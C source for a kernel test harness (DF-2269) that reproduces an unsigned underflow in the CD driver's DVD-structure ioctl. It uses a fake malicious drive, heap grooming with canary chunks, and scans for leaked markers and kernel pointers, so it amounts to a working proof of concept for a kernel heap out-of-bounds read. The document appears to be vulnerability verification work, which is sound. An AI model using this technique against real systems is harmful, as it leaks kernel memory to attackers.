/* * DF-2269 verification harness -- POSTAMBLE. * * Appended after the verbatim scsi_cd.c. Implements the interposed * external shims, a fake CD transport that answers READ DVD STRUCTURE * (opcode 0xad) with GOOD status and attacker-chosen short-transfer * resid values, kernel-heap canary grooming around the 8-byte * kmalloc(9?) databuf that cdreaddvdstructure() makes, and sysctl * test drivers (debug.df2269.*). * * The code under test is the REAL cdioctl() -> cdreaddvdstructure() * path of the verbatim scsi_cd.c (default case, scsi_cd.c:4283-4298): * * dvdstruct->length = length - ccb->csio.resid - * sizeof(struct scsi_read_dvd_struct_data_header); * bcopy(databuf + sizeof(...header...), * dvdstruct->data, * min(sizeof(dvdstruct->data), dvdstruct->length)); * * `length' is int, `resid' is u_int32_t; a device that reports * CAM_REQ_CMP with a transfer short of the 4-byte header (or any * resid > length - 4) makes the unsigned expression wrap, so * dvdstruct->length becomes ~4G and min(2048, ~4G) copies a full * 2048 bytes out of a databuf that is only `length' bytes big. */ #undef xpt_path_periph #undef cam_periph_getccb #undef cam_periph_runccb #undef xpt_release_ccb /* The real declarations were consumed from the system headers in the * preamble BEFORE the interposition macros were defined; they remain * in scope for the whole translation unit, so the #undef'd names below * call the REAL kernel functions where wanted. */ /* ================= shim implementations ================= * * Every shim is a PASS-THROUGH to the real CAM function unless a * harness scenario is armed (dfh_armed != 0). This guest really has * an ATAPI DVD-ROM (acd0), so the verbatim cd driver attaches to it * during CAM configuration at boot and issues real CCBs; those must * reach the real transport. Only the synchronous window around the * tested cdioctl() call uses the fabricated state. */ static volatile int dfh_armed; static int dfh_xpt_rel_count; static union ccb dfh_ccb; static struct cam_periph *dfh_cur_periph; /* scenario knobs: what the (malicious) device does this round */ static u_int32_t dfh_resid; /* reported residual */ static u_int32_t dfh_transferred; /* bytes actually DMAed */ static int dfh_cur_format; static u_int32_t dfh_cur_len; static u_int8_t *dfh_last_databuf; static u_int32_t dfh_last_dxfer; static void dfh_xpt_release_ccb(union ccb *ccb) { if (!dfh_armed) { xpt_release_ccb(ccb); /* the real one */ return; } dfh_xpt_rel_count++; } static struct cam_periph * dfh_xpt_path_periph(struct cam_path *path) { if (!dfh_armed) return (xpt_path_periph(path)); /* the real one */ return (dfh_cur_periph); } static union ccb * dfh_cam_periph_getccb(struct cam_periph *periph, u_int32_t priority) { if (!dfh_armed) return (cam_periph_getccb(periph, priority)); /* real */ bzero(&dfh_ccb, sizeof(dfh_ccb)); return (&dfh_ccb); } /* * Fake transport: the malicious drive. Answers READ DVD STRUCTURE * (GPCMD_READ_DVD_STRUCTURE, 0xad) with GOOD status (CAM_REQ_CMP) and * a chosen short transfer: only dfh_transferred bytes are written into * the kernel databuf and csio.resid is set to dfh_resid. Everything * else gets CAM_REQ_INVALID so unexpected commands stand out. */ static int dfh_cam_periph_runccb(union ccb *ccb, int (*error_routine)(union ccb *, cam_flags, u_int32_t), cam_flags camflags, u_int32_t sense_flags, struct devstat *stats) { u_int8_t *cdb; u_int8_t *d; u_int32_t len, alloc_len, i; if (!dfh_armed) return (cam_periph_runccb(ccb, error_routine, camflags, sense_flags, stats)); /* real */ (void)error_routine; (void)camflags; (void)sense_flags; (void)stats; cdb = ccb->csio.cdb_io.cdb_bytes; d = ccb->csio.data_ptr; len = ccb->csio.dxfer_len; dfh_last_databuf = d; dfh_last_dxfer = len; kprintf("DFH2269: transport: CDB %02x %02x %02x %02x %02x %02x " "%02x %02x %02x %02x %02x %02x dxfer_len=%u databuf=%p\n", cdb[0], cdb[1], cdb[2], cdb[3], cdb[4], cdb[5], cdb[6], cdb[7], cdb[8], cdb[9], cdb[10], cdb[11], len, d); if (cdb[0] != 0xad || d == NULL || len == 0) { kprintf("DFH2269: transport: unexpected command -> " "CAM_REQ_INVALID\n"); ccb->ccb_h.status = CAM_REQ_INVALID; return (1); } /* sanity: the real scsi_read_dvd_structure() filled the CDB * with our format and allocation length (alloc_len is CDB * bytes 8-9: struct layout opcode,reserved,address[4], * layer_number,format,alloc_len[2],agid,control) */ alloc_len = scsi_2btoul(&cdb[8]); if (cdb[7] != dfh_cur_format || alloc_len != dfh_cur_len || len != dfh_cur_len) { kprintf("DFH2269: transport: CDB mismatch " "(fmt %u vs %u, alloc_len %u vs %u, dxfer %u vs %u)" " -> CAM_REQ_INVALID\n", cdb[7], dfh_cur_format, alloc_len, dfh_cur_len, len, dfh_cur_len); ccb->ccb_h.status = CAM_REQ_INVALID; return (1); } /* the malicious payload: GOOD status + short transfer. The * bytes the drive did send are a recognizable 0xB0-0xBF * pattern (distinct from the 0xC0-0xFF heap markers and the * 0x5A runway). */ for (i = 0; i < dfh_transferred && i < len; i++) d[i] = 0xB0 | (i & 0x0F); if (dfh_transferred < len) { /* bytes beyond the transferred count keep whatever the * kmalloc(M_ZERO) in cdreaddvdstructure left: zeros */ } /* device reports success with residual dfh_resid */ ccb->csio.resid = dfh_resid; ccb->ccb_h.status = CAM_REQ_CMP; kprintf("DFH2269: transport: GOOD status, sent %u of %u bytes, " "resid=%u\n", dfh_transferred, len, dfh_resid); return (0); } /* ================= fabricated CAM/CD state ================= */ static struct lock dfh_lk; static struct cam_sim dfh_sim; static struct cam_periph dfh_ph; static struct cd_softc *dfh_cd; static struct cdev dfh_cdev; static int dfh_ready; static void dfh_setup(void) { if (dfh_ready) return; dfh_cd = kmalloc(sizeof(*dfh_cd), M_DEVBUF, M_INTWAIT | M_ZERO); lockinit(&dfh_lk, "dfhcdlk", 0, 0); bzero(&dfh_sim, sizeof(dfh_sim)); bzero(&dfh_ph, sizeof(dfh_ph)); bzero(&dfh_cdev, sizeof(dfh_cdev)); dfh_sim.lock = &dfh_lk; dfh_ph.sim = &dfh_sim; dfh_ph.softc = dfh_cd; dfh_ph.path = NULL; /* CAM_DEBUG is inert */ dfh_ph.immediate_priority = CAM_PRIORITY_NONE; dfh_ph.pinfo.priority = 0; dfh_ph.refcount = 1; dfh_ph.flags = 0; /* unit 5 encoding for dkunit() (minor 0x28 -> unit 5), so the * real acd0 (unit 0) extension slot is never touched */ dfh_cdev.si_uminor = 0x28; /* media "loaded": skips cdcheckmedia() in cdioctl */ dfh_cd->flags = CD_FLAG_VALID_MEDIA; if (cdperiphs == NULL) cdperiphs = cam_extend_new(); cam_extend_set(cdperiphs, 5, &dfh_ph); dfh_cur_periph = &dfh_ph; dfh_ready = 1; kprintf("DFH2269: fabricated CD periph ready " "(periph=%p softc=%p lock=%p)\n", &dfh_ph, dfh_cd, &dfh_lk); } /* ================= heap canary grooming ================= */ /* * Same-size-class M_DEVBUF chunks around the databuf that * cdreaddvdstructure() will kmalloc: 64 marker chunks (0xC0-0xFF * filled), every 2nd freed so databuf lands among them, followed by * 256 runway chunks (0x5A filled) that stay allocated so the 2044-byte * overread sweeps mapped zone memory instead of running off a slab. */ #define DFH_NMARK 64 #define DFH_NRUNWAY 256 static u_int8_t *dfh_marks[DFH_NMARK]; static u_int8_t *dfh_runway[DFH_NRUNWAY]; static int dfh_groom_len; static void dfh_groom_free(void) { int i; for (i = 0; i < DFH_NMARK; i++) { if (dfh_marks[i] != NULL) { kfree(dfh_marks[i], M_DEVBUF); dfh_marks[i] = NULL; } } for (i = 0; i < DFH_NRUNWAY; i++) { if (dfh_runway[i] != NULL) { kfree(dfh_runway[i], M_DEVBUF); dfh_runway[i] = NULL; } } dfh_groom_len = 0; } static void dfh_groom(int len) { int i; if (len > 4096) /* no grooming for DVD_STRUCT_LIST */ return; if (dfh_groom_len != len) dfh_groom_free(); dfh_groom_len = len; for (i = 0; i < DFH_NMARK; i++) { if (dfh_marks[i] == NULL) dfh_marks[i] = kmalloc(len, M_DEVBUF, M_INTWAIT); memset(dfh_marks[i], 0xC0 + (i & 0x3F), len); } for (i = 0; i < DFH_NRUNWAY; i++) { if (dfh_runway[i] == NULL) dfh_runway[i] = kmalloc(len, M_DEVBUF, M_INTWAIT); memset(dfh_runway[i], 0x5A, len); } /* punch holes: databuf (same size/type) lands in one of these */ for (i = 0; i < DFH_NMARK; i += 2) { kfree(dfh_marks[i], M_DEVBUF); dfh_marks[i] = NULL; } } /* ================= leak analysis helpers ================= */ static int dfh_count_nonzero(const u_char *d, int n) { int i, c = 0; for (i = 0; i < n; i++) if (d[i] != 0) c++; return (c); } static unsigned long long dfh_fnv1a(const u_char *d, int n) { unsigned long long h = 0xcbf29ce484222325ULL; int i; for (i = 0; i < n; i++) { h ^= d[i]; h *= 0x100000001b3ULL; } return (h); } /* * Scan the copied-out data[] for the 0xC0-0xFF marker chunks we * pre-placed around databuf. A hit is a >=4-byte run of a single * marker byte. data[o] came from databuf + 4 + o, so a marker at * data[o] lies (4 + o) bytes into an `len'-byte allocation: * OOB when 4 + o >= len. */ static int dfh_scan_markers(const u_char *d, int n, int len) { int id, o, j, hits = 0; int first[64], last[64]; for (id = 0; id < 64; id++) { first[id] = -1; last[id] = -1; } for (o = 0; o + 4 <= n; o++) { id = d[o] - 0xC0; if (id < 0 || id > 63) continue; for (j = 1; j < 4; j++) if (d[o + j] != d[o]) break; if (j == 4) { if (first[id] < 0) first[id] = o; last[id] = o; hits++; } } if (hits == 0) { kprintf("DFH2269: markers: NONE of the 0xC0-0xFF canary " "patterns found in data[]\n"); return (0); } kprintf("DFH2269: markers: %d distinct canary chunks leaked " "(IDs:", hits); for (id = 0; id < 64; id++) if (first[id] >= 0) kprintf(" %02x@%d", 0xC0 + id, first[id]); kprintf(")\n"); for (id = 0; id < 64; id++) { if (first[id] < 0) continue; kprintf("DFH2269: marker %02x: data[%d..%d] => src " "databuf+%d..%d => %d bytes PAST the %d-byte " "databuf\n", 0xC0 + id, first[id], last[id] + 3, 4 + first[id], 4 + last[id] + 3, (4 + last[id] + 3) - len, len); } return (hits); } static int dfh_scan_ptrs(const u_char *d, int n, int printmax, int len) { int o, hits = 0; unsigned long long v; for (o = 0; o + 8 <= n; o++) { v = 0; memcpy(&v, d + o, 8); if (v >= 0xffff800000000000ULL && v <= 0xffffffffffffffffULL) { hits++; if (printmax > 0) { printmax--; kprintf("DFH2269: ptr-like %016llx at " "data[%d] => databuf+%d (%d past " "end)\n", v, o, 4 + o, (4 + o) - len); } } } return (hits); } /* ================= the actual test driver ================= */ struct dfh_fmt { const char *name; u_int8_t fmt; int len; }; static const struct dfh_fmt dfh_fmts[] = { { "DVD_STRUCT_DISCKEY (0x02)", DVD_STRUCT_DISCKEY, sizeof(struct scsi_read_dvd_struct_data_disc_key) }, { "DVD_STRUCT_BCA (0x03)", DVD_STRUCT_BCA, sizeof(struct scsi_read_dvd_struct_data_bca) }, { "DVD_STRUCT_MANUFACT (0x04)", DVD_STRUCT_MANUFACT, sizeof(struct scsi_read_dvd_struct_data_manufacturer) }, { "DVD_STRUCT_PROTDISCID (0x06)", DVD_STRUCT_PROTDISCID, sizeof(struct scsi_read_dvd_struct_data_prot_discid) }, { "DVD_STRUCT_DISCKEYBLOCK (0x07)", DVD_STRUCT_DISCKEYBLOCK, sizeof(struct scsi_read_dvd_struct_data_disc_key_blk) }, { "DVD_STRUCT_DDS (0x08)", DVD_STRUCT_DDS, sizeof(struct scsi_read_dvd_struct_data_dds) }, { "DVD_STRUCT_MEDIUM_STAT (0x09)", DVD_STRUCT_MEDIUM_STAT, sizeof(struct scsi_read_dvd_struct_data_medium_status) }, { "DVD_STRUCT_SPARE_AREA (0x0A)", DVD_STRUCT_SPARE_AREA, sizeof(struct scsi_read_dvd_struct_data_spare_area) }, { "DVD_STRUCT_PRERECORDED (0x0E)", DVD_STRUCT_PRERECORDED, sizeof(struct scsi_read_dvd_struct_data_leadin) }, { "DVD_STRUCT_UNIQUEID (0x0F)", DVD_STRUCT_UNIQUEID, sizeof(struct scsi_read_dvd_struct_data_disc_id) }, { "DVD_STRUCT_LIST (0xFF)", DVD_STRUCT_LIST, 65535 }, }; #define DFH_NFMT (sizeof(dfh_fmts) / sizeof(dfh_fmts[0])) /* * Run one real DVDIOCREADSTRUCTURE through the real cdioctl() with the * malicious device answering `transferred' bytes / residual `resid'. */ static int dfh_run_case(const struct dfh_fmt *f, u_int32_t transferred, u_int32_t resid, int dump) { struct dvd_struct *dv; struct dev_ioctl_args ap; int error, copyn, nz, mk, ptrs, o; dfh_setup(); dfh_groom(f->len); dfh_cur_format = f->fmt; dfh_cur_len = f->len; dfh_transferred = transferred; dfh_resid = resid; dv = kmalloc(sizeof(*dv), M_TEMP, M_INTWAIT | M_ZERO); dv->format = f->fmt; bzero(&ap, sizeof(ap)); ap.a_head.a_dev = &dfh_cdev; ap.a_cmd = DVDIOCREADSTRUCTURE; ap.a_data = (caddr_t)dv; kprintf("DFH2269: ---- fmt=%s databuf_len=%d transferred=%u " "resid=%u ----\n", f->name, f->len, transferred, resid); dfh_armed = 1; error = cdioctl(&ap); /* THE REAL FUNCTION */ dfh_armed = 0; copyn = (int)MIN(sizeof(dv->data), (size_t)dv->length); nz = dfh_count_nonzero(dv->data, sizeof(dv->data)); kprintf("DFH2269: RESULT cdioctl=%d (EIO=%d) length=%u " "(0x%08x) bcopy_n=min(2048,length)=%d nonzero_in_data=%d " "databuf=%p\n", error, EIO, dv->length, dv->length, copyn, nz, dfh_last_databuf); if (copyn > f->len - 4) kprintf("DFH2269: *** OOB READ: kernel copied %d bytes " "from a %d-byte heap buffer (%d bytes past its " "end) into the caller's dvd_struct.data\n", copyn, f->len, copyn - (f->len - 4)); mk = dfh_scan_markers(dv->data, sizeof(dv->data), f->len); ptrs = dfh_scan_ptrs(dv->data, sizeof(dv->data), 8, f->len); kprintf("DFH2269: SUMMARY fmt=%s len=%d transferred=%u " "resid=%u -> ret=%d length=%u copy=%d nonzero=%d " "markers=%d ptrlikes=%d fnv1a=%016llx\n", f->name, f->len, transferred, resid, error, dv->length, copyn, nz, mk, ptrs, dfh_fnv1a(dv->data, sizeof(dv->data))); if (dump) { kprintf("DFH2269: full dump of dvd_struct.data (what the " "ioctl layer would copyout to userspace):\n"); for (o = 0; o < (int)sizeof(dv->data); o += 16) { kprintf("DFH2269 DUMP +%04x:" " %02x %02x %02x %02x %02x %02x %02x %02x" " %02x %02x %02x %02x %02x %02x %02x %02x" " |%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c|\n", o, dv->data[o + 0], dv->data[o + 1], dv->data[o + 2], dv->data[o + 3], dv->data[o + 4], dv->data[o + 5], dv->data[o + 6], dv->data[o + 7], dv->data[o + 8], dv->data[o + 9], dv->data[o + 10], dv->data[o + 11], dv->data[o + 12], dv->data[o + 13], dv->data[o + 14], dv->data[o + 15], (dv->data[o + 0] >= 0x20 && dv->data[o + 0] < 0x7f) ? dv->data[o + 0] : '.', (dv->data[o + 1] >= 0x20 && dv->data[o + 1] < 0x7f) ? dv->data[o + 1] : '.', (dv->data[o + 2] >= 0x20 && dv->data[o + 2] < 0x7f) ? dv->data[o + 2] : '.', (dv->data[o + 3] >= 0x20 && dv->data[o + 3] < 0x7f) ? dv->data[o + 3] : '.', (dv->data[o + 4] >= 0x20 && dv->data[o + 4] < 0x7f) ? dv->data[o + 4] : '.', (dv->data[o + 5] >= 0x20 && dv->data[o + 5] < 0x7f) ? dv->data[o + 5] : '.', (dv->data[o + 6] >= 0x20 && dv->data[o + 6] < 0x7f) ? dv->data[o + 6] : '.', (dv->data[o + 7] >= 0x20 && dv->data[o + 7] < 0x7f) ? dv->data[o + 7] : '.', (dv->data[o + 8] >= 0x20 && dv->data[o + 8] < 0x7f) ? dv->data[o + 8] : '.', (dv->data[o + 9] >= 0x20 && dv->data[o + 9] < 0x7f) ? dv->data[o + 9] : '.', (dv->data[o + 10] >= 0x20 && dv->data[o + 10] < 0x7f) ? dv->data[o + 10] : '.', (dv->data[o + 11] >= 0x20 && dv->data[o + 11] < 0x7f) ? dv->data[o + 11] : '.', (dv->data[o + 12] >= 0x20 && dv->data[o + 12] < 0x7f) ? dv->data[o + 12] : '.', (dv->data[o + 13] >= 0x20 && dv->data[o + 13] < 0x7f) ? dv->data[o + 13] : '.', (dv->data[o + 14] >= 0x20 && dv->data[o + 14] < 0x7f) ? dv->data[o + 14] : '.', (dv->data[o + 15] >= 0x20 && dv->data[o + 15] < 0x7f) ? dv->data[o + 15] : '.'); } } kfree(dv, M_TEMP); return (error); } static const struct dfh_fmt * dfh_fmt_by_id(u_int8_t fmt) { size_t i; for (i = 0; i < DFH_NFMT; i++) if (dfh_fmts[i].fmt == fmt) return (&dfh_fmts[i]); return (NULL); } /* ================= scenario drivers ================= */ /* * Boundary matrix on DVD_STRUCT_MEDIUM_STAT (databuf 8 bytes): * sweep the transferred/resid pair across the underflow boundary * (resid = length - 4) and beyond it, including physically * impossible resid > length. */ static int dfh_run_matrix(void) { static const u_int32_t tx[] = { 8, 5, 4, 3, 2, 1, 0 }; static const u_int32_t imposs[] = { 9, 12, 100, 0xFFFFFFFF }; const struct dfh_fmt *f = dfh_fmt_by_id(DVD_STRUCT_MEDIUM_STAT); size_t i; for (i = 0; i < sizeof(tx) / sizeof(tx[0]); i++) dfh_run_case(f, tx[i], f->len - tx[i], 0); for (i = 0; i < sizeof(imposs) / sizeof(imposs[0]); i++) dfh_run_case(f, 0, imposs[i], 0); return (0); } /* All default-case formats with a 2-byte short transfer */ static int dfh_run_formats(void) { size_t i; for (i = 0; i < DFH_NFMT; i++) dfh_run_case(&dfh_fmts[i], 2, dfh_fmts[i].len - 2, 0); return (0); } /* The headline leak: full dump of the 2048 bytes */ static int dfh_run_leak(void) { const struct dfh_fmt *f = dfh_fmt_by_id(DVD_STRUCT_MEDIUM_STAT); return (dfh_run_case(f, 2, f->len - 2, 1)); } /* Leak variance: n repetitions, differing heap state */ static int dfh_run_repeat(int n) { const struct dfh_fmt *f = dfh_fmt_by_id(DVD_STRUCT_MEDIUM_STAT); int i; if (n < 1) n = 5; for (i = 0; i < n; i++) dfh_run_case(f, 2, f->len - 2, 0); return (0); } /* ================= sysctl triggers ================= */ static int dfh_sysctl_matrix(SYSCTL_HANDLER_ARGS) { int t, error; t = 0; error = sysctl_handle_int(oidp, &t, 0, req); if (error != 0 || req->newptr == NULL) return (error); return (dfh_run_matrix()); } static int dfh_sysctl_formats(SYSCTL_HANDLER_ARGS) { int t, error; t = 0; error = sysctl_handle_int(oidp, &t, 0, req); if (error != 0 || req->newptr == NULL) return (error); return (dfh_run_formats()); } static int dfh_sysctl_leak(SYSCTL_HANDLER_ARGS) { int t, error; t = 0; error = sysctl_handle_int(oidp, &t, 0, req); if (error != 0 || req->newptr == NULL) return (error); return (dfh_run_leak()); } static int dfh_sysctl_repeat(SYSCTL_HANDLER_ARGS) { int t, error; t = 0; error = sysctl_handle_int(oidp, &t, 0, req); if (error != 0 || req->newptr == NULL) return (error); return (dfh_run_repeat(t)); } SYSCTL_NODE(_debug, OID_AUTO, df2269, CTLFLAG_RW, 0, "DF-2269 rig"); SYSCTL_PROC(_debug_df2269, OID_AUTO, matrix, CTLTYPE_INT | CTLFLAG_RW, 0, 0, dfh_sysctl_matrix, "I", "resid boundary matrix on MEDIUM_STAT (8-byte databuf)"); SYSCTL_PROC(_debug_df2269, OID_AUTO, formats, CTLTYPE_INT | CTLFLAG_RW, 0, 0, dfh_sysctl_formats, "I", "2-byte short transfer across all default-case formats"); SYSCTL_PROC(_debug_df2269, OID_AUTO, leak, CTLTYPE_INT | CTLFLAG_RW, 0, 0, dfh_sysctl_leak, "I", "MEDIUM_STAT underflow with full 2048-byte dump"); SYSCTL_PROC(_debug_df2269, OID_AUTO, repeat, CTLTYPE_INT | CTLFLAG_RW, 0, 0, dfh_sysctl_repeat, "I", "leak n times (arg=repetitions) to show heap-state variance");